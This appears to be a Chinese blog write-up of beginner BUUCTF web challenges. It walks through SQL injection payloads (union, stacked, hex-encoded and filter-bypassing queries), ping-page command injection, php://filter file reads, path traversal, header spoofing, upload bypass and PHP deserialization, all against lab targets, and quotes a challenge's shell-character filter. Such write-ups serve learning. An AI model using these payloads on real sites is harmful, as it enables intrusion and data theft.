BUU CTF WEB-文字WP

EasySQL

采用SQL注入得万能语句
1' union select 1,2,database()
# 万能公式
1 and 1=1
1' and '1'='1
1 or 1=1 
1' or '1'='1

Havefun

打开靶机后看到得时一个猫

发现没有按钮点击也没有什么反应

查看源码发现
<!--
    $cat=$_GET['cat'];
    echo $cat;
    if($cat=='dog'){
        echo 'Syc{cat_cat_cat_cat}';
    }
-->

在$_GET 是 PHP 中预定义的变量,包含了通过 GET 方式提交的信息。

在cat==dog处发现类似flag得内容,尝试在页面后输入/?cat=dog

获取flag

WarmUp

打开网页后,只有一个滑稽图,然后查看源码

通过源码发现存在一个source.php

访问后,出现一段PHP代码,进行代码审计,

查看checkFile中第一个if判断,即根据白名单,判断$page是否在白名单中,是否为空以及是否为字符串,第二个if依然是判断$page是否在白名单中,

这是输入source.php?file=hint.php 发现页面发生了变化

flag not here, and flag in ffffllllaaaagggg,发现存在flag的文件

这时再往下看发现接下来的判断会对参数的?作为截取,

source.php?file=hint.php../../../../../ffffllllaaaagggg

发现这样输入,包含的文件就是ffffllllaaaagggg,而不是hint.php

source.php?file=hint.php?../../../../../ffffllllaaaagggg

此时,根据?截取,判断的参数就为hint.php,文件在白名单之内,且页面输出flag

include

文件包含,点击后出现一个tips,再往下发现一句话,但是文件名是flag.php

然后结合文件包含,flag应该在flag.php中,但是在点击得时候自动执行了

/?file=php://filter/read=convert.base64-encode/resource=flag.php

获取flag得加密,解密后获得flag

https://blog.csdn.net/weixin_53912233/article/details/126801617

Exec

打开页面后,发现是PING页面,输入命令ping 127.0.0.1,发现有回显

输入Linux Exec命令,ping 127.0.0.1 ||/|/&/&& ls

发现回显,列出当前目录下的文件

将命令更改为,ls /

在根目录下,发现了flag

将命令修改为 cat /flag

获取flag

ping ping ping

根据题目描述,提示命令后加入127.0.0.1,构建payload /?ip=127.0.0.1

发送后发现存在回显,

尝试payload /?ip=127.0.0.1|ls

获取回显信息
	flag.php
	index.php


尝试读取flag.php,根据网上的payload构建方法
/?ip=127.0.0.1|cat$IFS$9flag.php
发现不一样的回显

将flag.php修改为index.php
/?ip=
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
";
  print_r($a);
}

?>

发现了正则匹配法则
根据匹配法则,修改payload/?ip=127.0.0.1;a=ag;b=fl;cat$IFS$9$b&a.php

在源码注释中发现flag

随便注

SQL中的堆叠注入,语句以‘;’隔开
payload 1;select *
回显显示,对一些常用的sql命令进行了禁止
	return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

1';show tables;
回显无意义
array(1) {
  [0]=>
  string(16) "1919810931114514"
}

array(1) {
  [0]=>
  string(5) "words"
}

payload 1';show columns from '1919810931114514';
		1';show columns from `1919810931114514`;

payload ';SET@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;

“ SET@a= ”这是定义变量这个变量是@a,后面的 “0x73656c656374202a2066726f6d20603139313938313039333131313435313460” 这是select * from 1919810931114514的十六进制,目的是绕过过滤

prepare execsql from @a;execute execsql;
PREPARE语句用于预备一个语句,并指定名称statement_name,以后引用该语句。语句名称对大小写不敏感。preparable_stmt可以是一个文字字符串,也可以是一个包含了语句文本的用户变量。该文本必须表现为一个单一的SQL语句,而不是多个语句。在这语句里,‘?'字符可以被用于标识参数,当执行时,以指示数据值绑定到查询后。‘?'字符不应加引号,即使你想要把它们与字符串值结合在一起。参数标记只能用于数据值应该出现的地方,而不是SQL关键字,标识符,等等。
如果预语句已经存在,则在新的预语句被定义前,它会被隐含地删掉。

Easysql

联合查询,时间盲注,布尔盲注,堆叠注入
首先输入1后,发现有回显

payload:1;show databases;
发现回显内容,确定是数字型注入

1;showtables
回显看到flag字样,下面就是如何读取

根据wp中,得到以下参数
1.非零数字有回显,0没有回显,说明里面应该有'||'这样的字符

2.题目一定有方法让我们查到flag,所以内置语句应该是这样:select (输入的数据)||flag from Flag;

除此之外,以下操作也可
利用sql_mode(它定义了 MySQL 应支持的 SQL 语法,以及应该在数据上执行何种确认检查,其中的 PIPES_AS_CONCAT 将 || 视为字符串的连接操作符而非 "或" 运算符)来改变'||'的作用,从运算符变成连接符,之后输入1就查询语句就是这样的:select 1,flag from Flag,就能够同时查出1和flag的数据
payload: 

猜想2
	sql=“select”.post[‘query’]."||flag from Flag";

pauload:*,1
原理是当$post[‘query’]的数据为*,1时
sql语句就变成了
select *,1||flag from Flag
也就是select *,1 from Flag
这就可以直接查询到Flag表中的所有内容了

payload:1;set sql_mode=pipes_as_concat;select 1

pipes_as_concat能将 || 视为字符串的连接操作符而非或运算符
所以实际执行的sql语句就变成了
select 1;set sql_mode=PIPES_AS_CONCAT;select "1"+flag from Flag

[极客大挑战 2019]Secret File

打开靶场,发现页面没有任何信息

但是在源代码中发现
<a id="master" href="./Archive_room.php" style="background-color:#000000;height:70px;width:200px;color:black;left:44%;cursor:default;">Oh! You found me</a>

进入到文件后,点击按钮后,进入到可以进入的最后一个界面

发现提示太快了,直接抓包,发现注释了一个secr3t.php

进入到该文件后,发现隐藏在flag.php中,
但是根据php,发现对某些字符有些限制。

根据wp构建payload
?file=php://filter/read=convert.base64-encode/resource=flag.php

然后获得一组base64加密

然后解密后,发现flag

[极客大挑战 2019]LoveSQL

采用万能密码
用户名:1' or 1=1#
密码:123(随便输)

获得用户密码
e828427c3e78e52b90575482950d0257

解密没有获得有用信息

/check.php?username=1' union select 1,2,3%23&password=1
看到有3个

/check.php?username=1' union select 1,database(),version()%23&password=1
Hello geek!
Your password is '10.3.18-MariaDB'

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
Hello 2!
Your password is 'geekuser,l0ve1ysq1

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

Hello 2!
Your password is 'id,username,password'

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
Hello 2!

Your password is ‘1cl4ywo_tai_nan_le,2glzjinglzjin_wants_a_girlfriend,3Z4cHAr7zCrbiao_ge_dddd_hm,40xC4m3llinux_chuang_shi_ren,5Ayraina_rua_rain,6Akkoyan_shi_fu_de_mao_bo_he,7fouc5cl4y,8fouc5di_2_kuai_fu_ji,9fouc5di_3_kuai_fu_ji,10fouc5di_4_kuai_fu_ji,11fouc5di_5_kuai_fu_ji,12fouc5di_6_kuai_fu_ji,13fouc5di_7_kuai_fu_ji,14fouc5di_8_kuai_fu_ji,15leixiaoSyc_san_da_hacker,16flagflag{58b495e3-703b-496c-868f-dc1dc2fa806f}’

[极客大挑战 2019]Http

首先进入页面后,发现页面没有任何注入点

然后查看源码,发现一个指向secret.php

打开后,发现要加Referer:https://Sycsecret.buuoj.cn

burp抓包后修改

然后又加User-Agent为"Syclover" browser

然后又要求从本地

则添加X-Forwarded-For :127.0.0.1

robots.txt

[ACTF2020 新生赛]Upload

看到上传,要求上传文件,但是抓不到上传的包

应该是前端的问题

在源码中找到了checkfile()

删除后上传,还是不行

应该是后端进行的过滤

修改后缀为phtml,上传成功

根据上传路径,找到flag

[极客大挑战 2019]BabySQL

典型的SQL注入

先试一下万能密码,提示错误

试一下select
?username=admin&password=pwd %27 union select 1 %23
发现提示错误,只保留了1# 意味着对union 和 select做了过滤

执行双写union和select,这是防止它采用的replace函数,替换掉union和select
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
这是反馈列数不对

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
这条语句就返回了2用户,密码是3 列数第三列为对的

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23
爆破出2 password为geek

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom

(infoorrmation_schema.schemata) %23
继续修改第三列的信息,这时payload爆出information_schema,mysql,performance_schema,test,ctf,geek

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 

table_name=“Flag” %23
看见where,也是sql语句,查找

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

PHP

首先打开网页后,没有看到相关有用的信息

然后根据上面的语句,应该是要与备份网站有关,常见的备份文件名.git .svn .swp .~ .bak .bash_history
采用dirsearch进行扫描:python .\dirsearch.py -u http://2ac92ac5-651a-46db-aba9-bcf310d0e518.node4.buuoj.cn:81/ -e php

没有看到相关内容,但是找到一个www.zip,感觉有可能

下载下来后,解压后,发现一个flag文件,然后发现里面的flag是假的

然后接下来打开class.php,发现echo flag,但是直接输入不可以,前面需要绕过_wakeup(),函数

查看index.php发现有一个unserialize(@$select),结合上面的包含includ<class.php>

结合_wakeup(),函数应该是需要进行序列化和反序列化

构建序列化对象
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

payload: /?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}

对象类型:长度:"类名":类中变量的个数:{类型:长度:"值";类型:长度:"值";......}
# 变量及对象类型参考
a - array         b - boolean

d - double         i - integer

o - common object     r - reference

s - string         C - custom object

O - class         N - null

R - pointer reference   U - unicode string

https://zhuanlan.zhihu.com/p/366455343

[ACTF2020 新生赛]BackupFile

寻找index.php,没有内容

然后找index.php.bak,显示下载

下载后,看判断部分
payload:/index.php?key=123

[RoarCTF 2019]Easy Calc

/calc.php? num=phpinfo()
看到php版本的回显,可以看出这个是可以执行的

注意? num=,这是有一个空格的,这是因为php语言,在对‘ num’进行处理时
会变成num进行处理,非法字符传入。

? num=var_dump(scandir(chr(47))) 等价于 ? num=system(ls /)

file_get_contents(/f1agg) => file_get_contents(/f1agg) 等价于? num=system(cat /f1agg)


/calc.pho? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))

[极客大挑战 2019]BuyFlag

在buyflag中找到了一个判断函数,发现需要password == 404
payload ‘404 ’

然后在应用中,需要将user数值改为1,这时就是CUIT了

然后还有一个数值,钱需要过滤

payload password=404%20&money[]=abc
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值